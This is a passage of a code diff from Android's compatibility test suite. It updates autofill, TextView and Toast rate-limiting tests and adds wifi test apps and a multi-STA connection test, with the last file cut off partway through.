- eq(mTextView), contentEq(clip, SOURCE_AUTOFILL, 0));
- verifyNoMoreInteractions(mMockReceiver);
- assertTextAndCursorPosition("xz", 1);
- }
-
- @UiThreadTest
- @Test
- public void testAutofill_oldTargetSdk() throws Exception {
- configureAppTargetSdkToR();
- initTextViewForEditing("xz", 1);
-
- // Try autofill with text. This should fill the field.
- CharSequence text = "abc";
- triggerAutofill(text);
- assertTextAndCursorPosition("abc", 3);
-
- // Try autofill with a ClipData. This should fill the field.
- ClipData clip = ClipData.newPlainText("test", "xyz");
- triggerAutofill(clip);
- assertTextAndCursorPosition("xyz", 3);
- }
-
- @UiThreadTest
- @Test
public void testProcessText_noCustomReceiver() throws Exception {
initTextViewForEditing("Original text", 0);
Selection.setSelection(mTextView.getEditableText(), 0, mTextView.getText().length());
@@ -826,10 +753,6 @@
mTextView.autofill(AutofillValue.forText(text));
}
- private void triggerAutofill(ClipData clip) {
- mTextView.autofill(AutofillValue.forRichContent(clip));
- }
-
private boolean triggerDropEvent(ClipData clip) {
DragEvent dropEvent = createDragEvent(DragEvent.ACTION_DROP, mTextView.getX(),
mTextView.getY(), clip);
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index 9b2dfdd..ad8d2d8 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -3375,6 +3375,23 @@
@UiThreadTest
@Test
+ public void setSetImeTemporarilyConsumesInput() {
+ InputConnection input = initTextViewForSimulatedIme();
+ mTextView.setCursorVisible(true);
+ assertTrue(mTextView.isCursorVisible());
+
+ mTextView.setImeTemporarilyConsumesInput(true);
+ assertFalse(mTextView.isCursorVisible());
+
+ mTextView.setCursorVisible(true);
+ assertFalse(mTextView.isCursorVisible());
+
+ input.closeConnection();
+ assertTrue(mTextView.isCursorVisible());
+ }
+
+ @UiThreadTest
+ @Test
public void testPerformLongClick() {
mTextView = findTextView(R.id.textview_text);
mTextView.setText("This is content");
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 4249bbf..d2a6a90 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -32,9 +32,9 @@
import static java.util.stream.Collectors.toList;
+import android.app.NotificationManager;
import android.app.UiAutomation;
import android.app.UiAutomation.AccessibilityEventFilter;
-import android.compat.Compatibility;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
@@ -43,10 +43,8 @@
import android.content.pm.PackageManager;
import android.graphics.drawable.Drawable;
import android.os.ConditionVariable;
-import android.os.ServiceManager;
import android.os.SystemClock;
import android.provider.Settings;
-import android.util.ArraySet;
import android.view.Gravity;
import android.view.View;
import android.view.ViewTreeObserver;
@@ -67,8 +65,6 @@
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.TestUtils;
-import com.android.internal.compat.CompatibilityChangeConfig;
-import com.android.internal.compat.IPlatformCompat;
import junit.framework.Assert;
@@ -80,7 +76,6 @@
import java.util.ArrayList;
import java.util.List;
-import java.util.Set;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -104,7 +99,6 @@
private static final ComponentName COMPONENT_TRANSLUCENT_ACTIVITY =
ComponentName.unflattenFromString("android.widget.cts.app/.TranslucentActivity");
private static final double TOAST_DURATION_ERROR_TOLERANCE_FRACTION = 0.25;
- private static final long RATE_LIMIT_TOASTS_CHANGE_ID = 154198299L;
// The following two fields work together to define rate limits for toasts, where each limit is
// defined as TOAST_RATE_LIMITS[i] toasts are allowed in the window of length
@@ -118,7 +112,7 @@
private ViewTreeObserver.OnGlobalLayoutListener mLayoutListener;
private ConditionVariable mToastShown;
private ConditionVariable mToastHidden;
- private IPlatformCompat mPlatformCompat;
+ private NotificationManager mNotificationManager;
@Rule
public ActivityTestRule<CtsActivity> mActivityRule =
@@ -130,16 +124,19 @@
mContext = getInstrumentation().getContext();
mUiAutomation = getInstrumentation().getUiAutomation();
mLayoutListener = () -> mLayoutDone = true;
- mPlatformCompat = IPlatformCompat.Stub.asInterface(
- ServiceManager.getService(Context.PLATFORM_COMPAT_SERVICE));
- setToastRateLimitingEnabled(false);
+ mNotificationManager =
+ mContext.getSystemService(NotificationManager.class);
+ // disable rate limiting for tests
+ SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+ .setToastRateLimitingEnabled(false));
}
@After
public void teardown() {
waitForToastToExpire();
- SystemUtil.runWithShellPermissionIdentity(() ->
- mPlatformCompat.clearOverridesForTest(mContext.getPackageName()));
+ // re-enable rate limiting
+ SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+ .setToastRateLimitingEnabled(true));
}
@UiThreadTest
@@ -158,11 +155,24 @@
PollingCheck.waitFor(TIME_OUT, () -> null != view.getParent());
}
+ private static void assertCustomToastShown(CustomToastInfo customToastInfo) {
+ PollingCheck.waitFor(TIME_OUT, customToastInfo::isShowing);
+ }
+
+ private static void assertCustomToastHidden(CustomToastInfo customToastInfo) {
+ PollingCheck.waitFor(TIME_OUT, () -> !customToastInfo.isShowing());
+ }
+
private static void assertCustomToastShownAndHidden(final View view) {
assertCustomToastShown(view);
PollingCheck.waitFor(TIME_OUT, () -> null == view.getParent());
}
+ private static void assertCustomToastShownAndHidden(CustomToastInfo customToastInfo) {
+ assertCustomToastShown(customToastInfo);
+ assertCustomToastHidden(customToastInfo);
+ }
+
private void assertTextToastShownAndHidden() {
assertTrue(mToastShown.block(TIME_OUT));
assertTrue(mToastHidden.block(TIME_OUT));
@@ -179,6 +189,14 @@
assertNull(view.getParent());
}
+ private static void assertCustomToastNotShown(CustomToastInfo customToastInfo) {
+ assertThat(customToastInfo.isShowing()).isFalse();
+
+ // sleep a while and then make sure it's still not shown
+ SystemClock.sleep(TIME_FOR_UI_OPERATION);
+ assertThat(customToastInfo.isShowing()).isFalse();
+ }
+
private void assertTextToastNotShown(TextToastInfo textToastInfo) {
assertFalse(textToastInfo.blockOnToastShown(TIME_FOR_UI_OPERATION));
}
@@ -237,23 +255,6 @@
}
}
- /** Enable or disable the compat change for rate limiting toasts. */
- private void setToastRateLimitingEnabled(boolean enable) {
- Set<Long> enabled = new ArraySet<>();
- Set<Long> disabled = new ArraySet<>();
- if (enable) {
- enabled.add(RATE_LIMIT_TOASTS_CHANGE_ID);
- } else {
- disabled.add(RATE_LIMIT_TOASTS_CHANGE_ID);
- }
-
- CompatibilityChangeConfig overrides =
- new CompatibilityChangeConfig(
- new Compatibility.ChangeConfig(enabled, disabled));
- SystemUtil.runWithShellPermissionIdentity(() ->
- mPlatformCompat.setOverridesForTest(overrides, mContext.getPackageName()));
- }
-
@Test
public void testShow_whenCustomToast() throws Throwable {
makeCustomToast();
@@ -923,7 +924,7 @@
public void testPackageCantPostMoreThanMaxToastsQuickly() throws Throwable {
List<TextToastInfo> toasts =
createTextToasts(MAX_PACKAGE_TOASTS_LIMIT + 1, "Text", Toast.LENGTH_SHORT);
- showTextToasts(toasts);
+ showToasts(toasts);
assertTextToastsShownAndHidden(toasts.subList(0, MAX_PACKAGE_TOASTS_LIMIT));
assertTextToastNotShown(toasts.get(MAX_PACKAGE_TOASTS_LIMIT));
@@ -931,7 +932,9 @@
@Test
public void testRateLimitingToasts() throws Throwable {
- setToastRateLimitingEnabled(true);
+ // enable rate limiting to test it
+ SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+ .setToastRateLimitingEnabled(true));
long totalTimeSpentMs = 0;
int shownToastsNum = 0;
@@ -943,7 +946,7 @@
List<TextToastInfo> toasts =
createTextToasts(currentToastNum + 1, "Text", Toast.LENGTH_SHORT);
long startTime = SystemClock.elapsedRealtime();
- showTextToasts(toasts);
+ showToasts(toasts);
assertTextToastsShownAndHidden(toasts.subList(0, currentToastNum));
assertTextToastNotShown(toasts.get(currentToastNum));
@@ -961,6 +964,20 @@
}
}
+ @Test
+ public void testCustomToastPostedWhileInForeground_notShownWhenAppGoesToBackground()
+ throws Throwable {
+ List<CustomToastInfo> toasts = createCustomToasts(2, "Custom", Toast.LENGTH_SHORT);
+ showToasts(toasts);
+ assertCustomToastShown(toasts.get(0));
+
+ // move to background
+ mActivityRule.finishActivity();
+
+ assertCustomToastHidden(toasts.get(0));
+ assertCustomToastNotShown(toasts.get(1));
+ }
+
/** Create given number of text toasts with the same given text and length. */
private List<TextToastInfo> createTextToasts(int num, String text, int length)
throws Throwable {
@@ -974,9 +991,22 @@
return toasts;
}
- private void showTextToasts(List<TextToastInfo> toasts) throws Throwable {
+ /** Create given number of custom toasts with the same given text and length. */
+ private List<CustomToastInfo> createCustomToasts(int num, String text, int length)
+ throws Throwable {
+ List<CustomToastInfo> toasts = new ArrayList<>();
mActivityRule.runOnUiThread(() -> {
- for (TextToastInfo t : toasts) {
+ toasts.addAll(Stream
+ .generate(() -> CustomToastInfo.create(mContext, text, length))
+ .limit(num + 1)
+ .collect(toList()));
+ });
+ return toasts;
+ }
+
+ private void showToasts(List<? extends ToastInfo> toasts) throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ for (ToastInfo t : toasts) {
t.getToast().show();
}
});
@@ -1071,7 +1101,7 @@
}
}
- private static class TextToastInfo {
+ private static class TextToastInfo implements ToastInfo {
private final Toast mToast;
private final ConditionVariable mToastShown;
private final ConditionVariable mToastHidden;
@@ -1093,7 +1123,8 @@
return new TextToastInfo(t, toastShown, toastHidden);
}
- Toast getToast() {
+ @Override
+ public Toast getToast() {
return mToast;
}
@@ -1105,4 +1136,34 @@
return mToastHidden.block(timeout);
}
}
+
+ private static class CustomToastInfo implements ToastInfo {
+ private final Toast mToast;
+
+ CustomToastInfo(Toast toast) {
+ mToast = toast;
+ }
+
+ static CustomToastInfo create(Context context, String text, int toastLength) {
+ Toast t = new Toast(context);
+ t.setDuration(toastLength);
+ TextView view = new TextView(context);
+ view.setText(text);
+ t.setView(view);
+ return new CustomToastInfo(t);
+ }
+
+ @Override
+ public Toast getToast() {
+ return mToast;
+ }
+
+ boolean isShowing() {
+ return mToast.getView().getParent() != null;
+ }
+ }
+
+ interface ToastInfo {
+ Toast getToast();
+ }
}
diff --git a/tests/tests/widget29/src/android/widget/cts29/ToastTest.java b/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
index 49cd0de..d1fa4b7 100644
--- a/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
+++ b/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
@@ -24,6 +24,7 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeFalse;
+import android.app.NotificationManager;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.drawable.Drawable;
@@ -52,6 +53,7 @@
import junit.framework.Assert;
+import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
@@ -70,10 +72,12 @@
private static final int ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS = 3000;
private static final long TIME_FOR_UI_OPERATION = 1000L;
private static final long TIME_OUT = 5000L;
+
private Toast mToast;
private Context mContext;
private boolean mLayoutDone;
private ViewTreeObserver.OnGlobalLayoutListener mLayoutListener;
+ private NotificationManager mNotificationManager;
@Rule
public ActivityTestRule<CtsActivity> mActivityRule =
@@ -83,6 +87,18 @@
public void setup() {
mContext = InstrumentationRegistry.getTargetContext();
mLayoutListener = () -> mLayoutDone = true;
+ mNotificationManager =
+ mContext.getSystemService(NotificationManager.class);
+ // disable rate limiting for tests
+ SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+ .setToastRateLimitingEnabled(false));
+ }
+
+ @After
+ public void teardown() {
+ // re-enable rate limiting
+ SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+ .setToastRateLimitingEnabled(true));
}
@UiThreadTest
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
index bd6869a..4e74d2f 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
@@ -25,4 +25,9 @@
srcs: [
"src/**/*.java"
],
+
+ static_libs: [
+ "androidx.appcompat_appcompat",
+ "androidx.test.rules",
+ ],
}
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
index 96fb0a6..9ad760b 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
@@ -22,6 +22,7 @@
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+ <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
@@ -50,5 +51,12 @@
android:name=".RetrieveConnectionInfoAndReturnStatusService"
android:permission="android.permission.BIND_JOB_SERVICE"
android:exported="true" />
+ <activity
+ android:name=".RetrieveTransportInfoAndReturnStatusActivity"
+ android:exported="true" />
+ <service
+ android:name=".RetrieveTransportInfoAndReturnStatusService"
+ android:permission="android.permission.BIND_JOB_SERVICE"
+ android:exported="true" />
</application>
</manifest>
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
new file mode 100644
index 0000000..9f7178b
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.TransportInfo;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.util.Objects;
+
+/**
+ * An activity that retrieves Transport info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusActivity extends Activity {
+ private static final String TAG = "RetrieveTransportInfoAndReturnStatusActivity";
+ private static final String STATUS_EXTRA = "android.net.wifi.cts.app.extra.STATUS";
+
+ public static boolean canRetrieveSsidFromTransportInfo(
+ String logTag, ConnectivityManager connectivityManager) {
+ // Assumes wifi network is the default route.
+ Network[] networks = connectivityManager.getAllNetworks();
+ if (networks == null || networks.length == 0) {
+ Log.e(logTag, " Failed to get any networks");
+ return false;
+ }
+ NetworkCapabilities wifiNetworkCapabilities = null;
+ for (Network network : networks) {
+ NetworkCapabilities networkCapabilities =
+ connectivityManager.getNetworkCapabilities(network);
+ if (networkCapabilities == null) {
+ Log.e(logTag, "Failed to get network capabilities for network: " + network);
+ continue;
+ }
+ if (networkCapabilities.hasTransport(NetworkCapabilities.TRANSPORT_WIFI)) {
+ wifiNetworkCapabilities = networkCapabilities;
+ break;
+ }
+ }
+ if (wifiNetworkCapabilities == null) {
+ Log.e(logTag, "Failed to get network capabilities for wifi network."
+ + " Available networks: " + networks);
+ return false;
+ }
+ TransportInfo transportInfo = wifiNetworkCapabilities.getTransportInfo();
+ if (!(transportInfo instanceof WifiInfo)) {
+ Log.e(logTag, " Failed to retrieve WifiInfo");
+ return false;
+ }
+ WifiInfo wifiInfo = (WifiInfo) transportInfo;
+ boolean succeeded = !Objects.equals(wifiInfo.getSSID(), WifiManager.UNKNOWN_SSID);
+ if (succeeded) {
+ Log.v(logTag, "SSID from transport info retrieval succeeded");
+ } else {
+ Log.v(logTag, "Failed to retrieve SSID from transport info");
+ }
+ return succeeded;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ ConnectivityManager connectivityManager = getSystemService(ConnectivityManager.class);
+ setResult(RESULT_OK, new Intent().putExtra(
+ STATUS_EXTRA, canRetrieveSsidFromTransportInfo(TAG, connectivityManager)));
+ finish();
+ }
+}
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
new file mode 100644
index 0000000..1476455
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts.app;
+
+import static android.net.wifi.cts.app.RetrieveTransportInfoAndReturnStatusActivity.canRetrieveSsidFromTransportInfo;
+
+import android.app.job.JobParameters;
+import android.app.job.JobService;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.wifi.WifiManager;
+import android.os.ResultReceiver;
+import android.util.Log;
+
+/**
+ * A service that retrieves transport Info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusService extends JobService {
+ private static final String TAG = "RetrieveTransportInfoAndReturnStatusService";
+ private static final String RESULT_RECEIVER_EXTRA =
+ "android.net.wifi.cts.app.extra.RESULT_RECEIVER";
+
+ @Override
+ public boolean onStartJob(JobParameters jobParameters) {
+ ResultReceiver resultReceiver =
+ jobParameters.getTransientExtras().getParcelable(RESULT_RECEIVER_EXTRA);
+ ConnectivityManager connectivityManager = getSystemService(ConnectivityManager.class);
+ resultReceiver.send(
+ canRetrieveSsidFromTransportInfo(TAG, connectivityManager) ? 1 : 0, null);
+ return false;
+ }
+
+ @Override
+ public boolean onStopJob(JobParameters jobParameters) {
+ return false;
+ }
+}
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 8555f76..60191a5 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -468,9 +468,9 @@
}
AwareResources resources = mWifiAwareManager.getAvailableAwareResources();
assertNotNull("Available aware resources are null", resources);
- assertTrue(resources.getNumOfAvailablePublishSessions() > 0);
- assertTrue(resources.getNumOfAvailableSubscribeSessions() > 0);
- assertTrue(resources.getNumOfAvailableDataPaths() > 0);
+ assertTrue(resources.getAvailableDataPathsCount() > 0);
+ assertTrue(resources.getAvailablePublishSessionsCount() > 0);
+ assertTrue(resources.getAvailableSubscribeSessionsCount() > 0);
}
/**
@@ -575,7 +575,7 @@
int numOfAllPublishSessions = 0;
if (BuildCompat.isAtLeastS()) {
numOfAllPublishSessions = mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailablePublishSessions();
+ .getAvailableAwareResources().getAvailablePublishSessionsCount();
}
// 1. publish
@@ -590,7 +590,7 @@
DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
if (BuildCompat.isAtLeastS()) {
assertEquals(numOfAllPublishSessions - 1, mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailablePublishSessions());
+ .getAvailableAwareResources().getAvailablePublishSessionsCount());
}
// 2. update-publish
publishConfig = new PublishConfig.Builder().setServiceName(
@@ -610,7 +610,7 @@
DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
if (BuildCompat.isAtLeastS()) {
assertEquals(numOfAllPublishSessions, mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailablePublishSessions());
+ .getAvailableAwareResources().getAvailablePublishSessionsCount());
}
session.close();
}
@@ -674,7 +674,7 @@
int numOfAllSubscribeSessions = 0;
if (BuildCompat.isAtLeastS()) {
numOfAllSubscribeSessions = mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailableSubscribeSessions();
+ .getAvailableAwareResources().getAvailableSubscribeSessionsCount();
}
// 1. subscribe
session.subscribe(subscribeConfig, discoveryCb, mHandler);
@@ -688,7 +688,7 @@
DiscoverySessionCallbackTest.ON_SESSION_DISCOVERED_LOST));
if (BuildCompat.isAtLeastS()) {
assertEquals(numOfAllSubscribeSessions - 1, mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailableSubscribeSessions());
+ .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
}
// 2. update-subscribe
@@ -717,7 +717,7 @@
DiscoverySessionCallbackTest.ON_SESSION_CONFIG_UPDATED));
if (BuildCompat.isAtLeastS()) {
assertEquals(numOfAllSubscribeSessions, mWifiAwareManager
- .getAvailableAwareResources().getNumOfAvailableSubscribeSessions());
+ .getAvailableAwareResources().getAvailableSubscribeSessionsCount());
}
session.close();
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
new file mode 100644
index 0000000..0c12dcd
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyWifiNetworkSpecifierTest.java
@@ -0,0 +1,690 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
+import static android.os.Process.myUid;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
+import android.net.LinkProperties;
+import android.net.MacAddress;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.wifi.ScanResult;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.NetworkRequestMatchCallback;
+import android.net.wifi.WifiNetworkSpecifier;
+import android.os.WorkSource;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
+import android.text.TextUtils;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests multiple concurrent connection flow on devices that support multi STA concurrency
+ * (indicated via {@link WifiManager#isMultiStaConcurrencySupported()}.
+ *
+ * Tests the entire connection flow using {@link WifiNetworkSpecifier} embedded in a
+ * {@link NetworkRequest} & passed into {@link ConnectivityManager#requestNetwork(NetworkRequest,
+ * ConnectivityManager.NetworkCallback)} along with a concurrent internet connection using
+ * {@link WifiManager#connect(int, WifiManager.ActionListener)}.
+ *
+ * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
+ *
+ * TODO(b/177591382): Refactor some of the utilities to a separate file that are copied over from
+ * WifiManagerTest & WifiNetworkSpecifierTest.
+ *
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MultiStaConcurrencyWifiNetworkSpecifierTest extends WifiJUnit4TestBase {
+ private static final String TAG = "MultiStaConcurrencyWifiNetworkSpecifierTest";
+ private static boolean sWasVerboseLoggingEnabled;
+ private static boolean sWasScanThrottleEnabled;
+ private static boolean sWasWifiEnabled;
+
+ private Context mContext;
+ private WifiManager mWifiManager;
+ private ConnectivityManager mConnectivityManager;
+ private UiDevice mUiDevice;
+ private WifiConfiguration mTestNetworkForPeerToPeer;
+ private WifiConfiguration mTestNetworkForInternetConnection;
+ private TestNetworkCallback mNetworkCallback;
+ private TestNetworkCallback mNrNetworkCallback;
+
+ private static final int DURATION = 10_000;
+ private static final int DURATION_UI_INTERACTION = 25_000;
+ private static final int DURATION_NETWORK_CONNECTION = 60_000;
+ private static final int DURATION_SCREEN_TOGGLE = 2000;
+ private static final int SCAN_RETRY_CNT_TO_FIND_MATCHING_BSSID = 3;
+
+ @BeforeClass
+ public static void setUpClass() throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ // skip the test if WiFi is not supported. Don't use assumeTrue in @BeforeClass
+ if (!WifiFeature.isWifiSupported(context)) return;
+
+ WifiManager wifiManager = context.getSystemService(WifiManager.class);
+ assertNotNull(wifiManager);
+
+ // turn on verbose logging for tests
+ sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.isVerboseLoggingEnabled());
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.setVerboseLoggingEnabled(true));
+ // Disable scan throttling for tests.
+ sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.isScanThrottleEnabled());
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.setScanThrottleEnabled(false));
+
+ // enable Wifi
+ sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.isWifiEnabled());
+ if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
+ PollingCheck.check("Wifi not enabled", DURATION, () -> wifiManager.isWifiEnabled());
+ }
+
+ @AfterClass
+ public static void tearDownClass() throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ if (!WifiFeature.isWifiSupported(context)) return;
+
+ WifiManager wifiManager = context.getSystemService(WifiManager.class);
+ assertNotNull(wifiManager);
+
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> wifiManager.setWifiEnabled(sWasWifiEnabled));
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ mWifiManager = mContext.getSystemService(WifiManager.class);
+ mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+
+ // skip the test if WiFi is not supported
+ assumeTrue(WifiFeature.isWifiSupported(mContext));
+ // skip the test if location is not supported
+ assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION));
+ // skip if multi STA not supported.
+ assumeTrue(mWifiManager.isMultiStaConcurrencySupported());
+
+ assertTrue("Please enable location for this test!",
+ mContext.getSystemService(LocationManager.class).isLocationEnabled());
+
+ // turn screen on
+ turnScreenOn();
+
+ // Clear any existing app state before each test.
+ ShellIdentityUtils.invokeWithShellPermissions(
+ () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+
+ // We need 2 AP's for the test. If there are 2 networks saved on the device and in range,
+ // use those. Otherwise, check if there are 2 BSSID's in range for the only saved network.
+ // This assumes a CTS test environment with at least 2 connectable bssid's (Is that ok?).
+ List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+ () -> mWifiManager.getPrivilegedConfiguredNetworks());
+ List<WifiConfiguration> matchingNetworksWithBssid =
